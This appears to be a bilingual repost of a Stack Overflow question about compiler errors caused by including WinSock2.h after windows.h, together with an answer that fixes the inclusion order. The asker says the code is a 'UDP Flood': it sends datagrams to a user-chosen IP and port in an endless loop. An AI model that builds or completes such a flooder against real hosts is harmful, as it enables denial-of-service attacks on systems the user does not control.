本文介绍了为什么在包含 WinSock2.h 时会出现大量编译器错误?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在尝试使用 C++ 中的 WinSock2.h 进行 UDP Flood,但仅在 WinSock2.h 上就收到了 70 多个错误和 17 个警告,所有错误都是重新定义、来自 ws2def.h 的语法错误和不同的联系".我做错了什么还是WinSock2有问题?如果有任何用处,我使用的是 64 位 Windows 10,Visual Studio 2015

I'm trying to make a UDP Flood using WinSock2.h in c++ but I'm getting over 70 errors and 17 warnings on just WinSock2.h and all the errors are redefinitions, syntax errors from ws2def.h, and "different linkages". Am I doing something wrong or is this a problem with WinSock2? If it is of any use I am using 64 bit Windows 10, Visual Studio 2015

  #include "stdafx.h"
  #include <WinSock2.h>
  #include <windows.h>
  #include <fstream>
  #include <time.h>
  #include "wtypes.h"
  #include "Functions.h"
  #pragma comment(lib, "ws2_32.lib")
    //Get IP
    cin.getline(TargetIP, 17);

    //Get IP
    cout << "Enter the Port: ";
    cin >> nPort;
    cout << endl;

    //Initialize WinSock 2.2
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    //Create our UDP Socket
    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    //Setup the target address
    targetAddr.sin_family = AF_INET;
    targetAddr.sin_port = htons(nPort);
    targetAddr.sin_addr.s_addr = inet_addr(TargetIP);

    //Get input from user
    cout << "Please specify the buffer size:";
    cin >> bufferSize;

    //Create our buffer
    char * buffer = new char[bufferSize];

    while(true){
        //send the buffer to target
        sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
    }

    //Close Socket
    closesocket(s);

    //Cleanup WSA
    WSACleanup();

    //Cleanup our buffer (prevent memory leak)
    delete[]buffer;

推荐答案

我猜你可能在包含的顺序上有问题.

I guess you may have a problem in the order of inclusions.

您可能会遇到许多错误:

You are probably getting many errors along the lines of:

1>c:\program files (x86)\windows kits\8.1\include\um\winsock2.h(2373): error C2375: 'WSAStartup': redefinition; different linkage
1>  c:\program files (x86)\windows kits\8.1\include\um\winsock.h(867): note: see declaration of 'WSAStartup'

那是因为默认包含提供许多声明与 中的声明重叠,当 包含在 after 中时会导致错误>.

That's because <windows.h> includes <winsock.h> by default, and <winsock.h> provides many declarations that overlap with those in <winsock2.h>, which causes errors when <winsock2.h> is included after <windows.h>.

因此,您可能希望 include before :

So, you may want to include <winsock2.h> before <windows.h>:

#include <winsock2.h>
#include <windows.h>

或者,作为替代方案,您可以尝试定义 _WINSOCKAPI_ 以防止在 中包含 > 使用这个预处理器 #undef-#define-#include "dance":

Or, as an alternative, you may try to define _WINSOCKAPI_ to prevent the inclusion of <winsock.h> in <windows.h> with this preprocessor #undef-#define-#include "dance":

#undef _WINSOCKAPI_
#define _WINSOCKAPI_  /* prevents <winsock.h> inclusion by <windows.h> */
#include <windows.h>
#include <winsock2.h>

不得不说_WINSOCKAPI_宏的定义干扰了普通的头文件包含保护机制,防止包含 听起来像是基于实现细节的脆弱hack",所以我可能更喜欢第一个选项.

I have to say that the definition of _WINSOCKAPI_ macro to interfere in the ordinary header inclusion guard mechanics to prevent <windows.h> to include <winsock.h> sounds like an implementation-details-based fragile "hack", so I would probably prefer the first option.

但总的来说,这个包含顺序的错误在我看来就像是 Win32 标头中的错误,所以最好的办法是让 Microsoft 修复它.

But all in all this order of inclusion bug sounds to me like a bug in the Win32's headers, so the best thing would be for Microsoft to fix that.

编辑
正如评论中所建议的,另一种选择可能是 #define WIN32_LEAN_AND_MEAN before 包括 .但是,请注意,这也会防止包含其他 Windows 标头.

EDIT
As suggested in the comments, a further alternative may be to #define WIN32_LEAN_AND_MEAN before including <windows.h>. However, please note that this would prevent the inclusions of other Windows headers as well.

附言
如果您使用预编译头("stdafx.h" 在您的问题中新显示的代码中),您可能还需要注意其中的包含顺序.

P.S.
If you are using precompiled headers ("stdafx.h" in the newly showed code in your question), you may want to pay attention to order of inclusions in there as well.

这篇关于为什么在包含 WinSock2.h 时会出现大量编译器错误?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!

09-02 10:24